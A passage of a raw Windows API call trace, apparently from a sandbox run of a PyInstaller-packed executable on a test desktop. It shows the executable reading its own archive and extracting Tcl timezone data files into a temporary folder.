dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.173] CloseHandle (hObject=0x10c) returned 1 [0040.173] GetLastError () returned 0x0 [0040.173] SetLastError (dwErrCode=0x0) [0040.173] GetLastError () returned 0x0 [0040.173] SetLastError (dwErrCode=0x0) [0040.173] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.173] GetFileType (hFile=0x10c) returned 0x1 [0040.173] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.173] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.173] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.174] CloseHandle (hObject=0x10c) returned 1 [0040.174] GetLastError () returned 0x0 [0040.174] SetLastError (dwErrCode=0x0) [0040.174] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.174] GetFileType (hFile=0x10c) returned 0x1 [0040.174] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.174] CloseHandle (hObject=0x10c) returned 1 [0040.174] GetLastError () returned 0x0 [0040.174] SetLastError (dwErrCode=0x0) [0040.174] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.174] GetFileType (hFile=0x10c) returned 0x1 [0040.174] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.175] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.175] CloseHandle (hObject=0x10c) returned 1 [0040.175] GetLastError () returned 0x0 [0040.175] SetLastError (dwErrCode=0x0) [0040.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hovd") returned 66 [0040.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hovd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\hovd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.175] GetLastError () returned 0x2 [0040.175] SetLastError (dwErrCode=0x2) [0040.175] GetLastError () returned 0x2 [0040.175] SetLastError (dwErrCode=0x2) [0040.175] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hovd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hovd", lpFilePart=0x0) returned 0x41 [0040.175] GetLastError () returned 0x2 [0040.175] SetLastError (dwErrCode=0x2) [0040.175] GetLastError () returned 0x2 [0040.175] SetLastError (dwErrCode=0x2) [0040.175] GetLastError () returned 0x2 [0040.175] SetLastError (dwErrCode=0x2) [0040.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hovd") returned 66 [0040.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hovd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\hovd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.175] GetFileType (hFile=0x10c) returned 0x1 [0040.176] htonl (hostlong=0xc8050000) returned 0x5c8 [0040.176] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.176] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x5c8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x5c8, lpOverlapped=0x0) returned 1 [0040.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.177] CloseHandle (hObject=0x10c) returned 1 [0040.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.177] htonl (hostlong=0x30000000) returned 0x30 [0040.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.177] GetFileType (hFile=0x10c) returned 0x1 [0040.177] htonl (hostlong=0xbe45a00) returned 0x5ae40b [0040.177] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f940b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.177] htonl (hostlong=0x14020000) returned 0x214 [0040.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x214) returned 0x550600 [0040.177] htonl (hostlong=0x14020000) returned 0x214 [0040.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.177] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.177] htonl (hostlong=0x2c080000) returned 0x82c [0040.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x82c) returned 0x55e278 [0040.177] htonl (hostlong=0x14020000) returned 0x214 [0040.177] htonl (hostlong=0x2c080000) returned 0x82c [0040.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.177] CloseHandle (hObject=0x10c) returned 1 [0040.178] GetLastError () returned 0x0 [0040.178] SetLastError (dwErrCode=0x0) [0040.178] GetLastError () returned 0x0 [0040.178] SetLastError (dwErrCode=0x0) [0040.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.178] GetFileType (hFile=0x10c) returned 0x1 [0040.178] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.178] CloseHandle (hObject=0x10c) returned 1 [0040.178] GetLastError () returned 0x0 [0040.178] SetLastError (dwErrCode=0x0) [0040.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.178] GetFileType (hFile=0x10c) returned 0x1 [0040.178] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.179] CloseHandle (hObject=0x10c) returned 1 [0040.179] GetLastError () returned 0x0 [0040.179] SetLastError (dwErrCode=0x0) [0040.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.179] GetFileType (hFile=0x10c) returned 0x1 [0040.179] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.179] CloseHandle (hObject=0x10c) returned 1 [0040.179] GetLastError () returned 0x0 [0040.179] SetLastError (dwErrCode=0x0) [0040.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Irkutsk") returned 69 [0040.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Irkutsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\irkutsk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.180] GetLastError () returned 0x2 [0040.180] SetLastError (dwErrCode=0x2) [0040.180] GetLastError () returned 0x2 [0040.180] SetLastError (dwErrCode=0x2) [0040.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Irkutsk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Irkutsk", lpFilePart=0x0) returned 0x44 [0040.180] GetLastError () returned 0x2 [0040.180] SetLastError (dwErrCode=0x2) [0040.180] GetLastError () returned 0x2 [0040.180] SetLastError (dwErrCode=0x2) [0040.180] GetLastError () returned 0x2 [0040.180] SetLastError (dwErrCode=0x2) [0040.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Irkutsk") returned 69 [0040.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Irkutsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\irkutsk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.180] GetFileType (hFile=0x10c) returned 0x1 [0040.180] htonl (hostlong=0x2c080000) returned 0x82c [0040.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.180] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x82c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x82c, lpOverlapped=0x0) returned 1 [0040.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.181] CloseHandle (hObject=0x10c) returned 1 [0040.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.181] htonl (hostlong=0x30000000) returned 0x30 [0040.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.182] GetFileType (hFile=0x10c) returned 0x1 [0040.182] htonl (hostlong=0x1fe65a00) returned 0x5ae61f [0040.182] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f961f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.182] htonl (hostlong=0x88000000) returned 0x88 [0040.182] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0040.182] htonl (hostlong=0x88000000) returned 0x88 [0040.182] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.182] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.182] htonl (hostlong=0xb6000000) returned 0xb6 [0040.182] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb6) returned 0x550600 [0040.182] htonl (hostlong=0x88000000) returned 0x88 [0040.182] htonl (hostlong=0xb6000000) returned 0xb6 [0040.182] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.182] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.182] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.182] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.182] CloseHandle (hObject=0x10c) returned 1 [0040.182] GetLastError () returned 0x0 [0040.182] SetLastError (dwErrCode=0x0) [0040.182] GetLastError () returned 0x0 [0040.182] SetLastError (dwErrCode=0x0) [0040.182] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.182] GetFileType (hFile=0x10c) returned 0x1 [0040.182] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.183] 